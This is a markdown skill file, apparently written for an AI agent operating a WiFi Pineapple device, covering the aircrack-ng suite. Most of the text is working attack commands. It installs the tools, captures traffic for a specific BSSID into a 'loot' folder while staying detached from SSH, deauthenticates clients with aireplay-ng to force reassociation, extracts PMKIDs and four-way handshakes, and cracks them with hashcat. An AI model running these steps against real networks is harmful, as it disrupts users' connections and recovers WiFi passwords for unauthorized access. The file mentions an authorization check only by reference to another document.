Mark-VIII/payload/user/remote_access/pager-webui/skills/aircrack-suite.md

name, description

name	description
aircrack-suite	Use when running the aircrack-ng suite on the WiFi Pineapple (Pager/FENRIS) — airodump-ng target capture, aireplay-ng deauth, PMKID (hashcat -m 22002) or four-way handshake (hashcat -m 22000) hunting, on-device hcxpcapngtool extraction, or installing/reinstalling aircrack-ng and hcxtools after a factory reset. Pairs with pineapple-control (device access) and wifi-deauth (attack methodology).

Aircrack Suite on the Pineapple (airodump / aireplay / PMKID)

The Pineapple runs aircrack-ng tools directly on its monitor interfaces. Verified on Pager/FENRIS: aircrack-ng 1.7-r1 (airodump-ng, aireplay-ng, aircrack-ng) and hcxtools 6.3.2-r1 (hcxpcapngtool). Read pineapple-control for device access, radio layout, and the command surface; read wifi-deauth for the attack methodology, authorization gate, and failure modes.

Installation (factory-reset recovery)

opkg update
opkg install aircrack-ng hcxtools

• airmon-ng is NOT shipped with the OpenWrt package — monitor mode is handled by the existing wlan0mon/wlan1mon interfaces (or iw), not airmon-ng.
• hcxdumptool is NOT in the opkg repo — capture PMKID with airodump-ng + hcxpcapngtool extraction instead.
• Workstation tooling for cracking (macOS): brew install hcxtools hashcat; aircrack-ng optional via brew install aircrack-ng.

Target capture

Monitor interfaces must be UP, and the channel must match the phy (pinned by the AP interface: ch1 = wlan0mon 2.4 GHz, ch36 = wlan1mon 5 GHz). airodump-ng 1.7 does NOT accept --write-format — use -w <prefix> (writes .cap, .csv, .kismet.*):

ip link set wlan1mon up
setsid airodump-ng wlan1mon -c 36 --bssid 9A:18:98:FE:C1:09 -w /root/loot/pcap/svc5g >/tmp/ad.log 2>&1 </dev/null &

• setsid ... </dev/null & detaches so the capture survives SSH disconnect; it runs until killed (no time cap).
• One airodump per band: wlan0mon -c 1 for 2.4 GHz targets. Run both for dual-band coverage.
• Stop: killall airodump-ng. Files roll to -02.cap, -03.cap, etc.
• Pull the .cap with scp for local analysis, or use on-device hcxpcapngtool.

PMKID hunt (hashcat -m 22002)

A PMKID appears in a client's (re)association request when it holds a cached PMK — i.e., PMKSA fast-reauth clients. Requirement: a client must (re)associate; no client in range means nothing to capture.

• Elicit with ONE light deauth: PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <ch> (tested) or aireplay-ng -0 1 -a <AP_MAC> [-c <CLIENT_MAC>] wlan1mon. Heavy deauth suppresses PMKID — the AP resets PMKID and hcxpcapngtool warns "too many deauthentication/disassociation frames".
• Extract on-device or locally:

  hcxpcapngtool svc5g-01.cap 2>&1 | grep -i pmkid     # does a PMKID exist?
  hcxpcapngtool -o out.22002 svc5g-01.cap              # write hashcat file
  hashcat -m 22002 out.22002 -a 0 <wordlist>
  

• A brand-new client's first association also yields a full 4-way: hcxpcapngtool -o out.22000 <cap> then hashcat -m 22000 out.22000 -a 0 <wordlist>.

Pitfalls

• Verify the auth type before assuming PSK. airodump's AUTH column can misleadingly show MGT (802.1X) when a hidden Enterprise BSSID shares the same AP. Decode the RSN instead: tshark -r cap -Y "wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.rsn.akms.type (1 = PSK, 2 = 802.1X, 6 = FT-802.1X). PMKID/-m 22000 only apply to PSK.
• Channel: -c must equal the phy's held channel, or airodump sees nothing.
• Interface state: if airodump errors "That device is not up", run ip link set wlan*mon up first.
• Flags: "unrecognized option" on 1.7 — you passed an unsupported flag (e.g. --write-format).
• Running airodump alongside pineapd recon is fine; the phy stays pinned by the AP interface, so recon hopping cannot move it.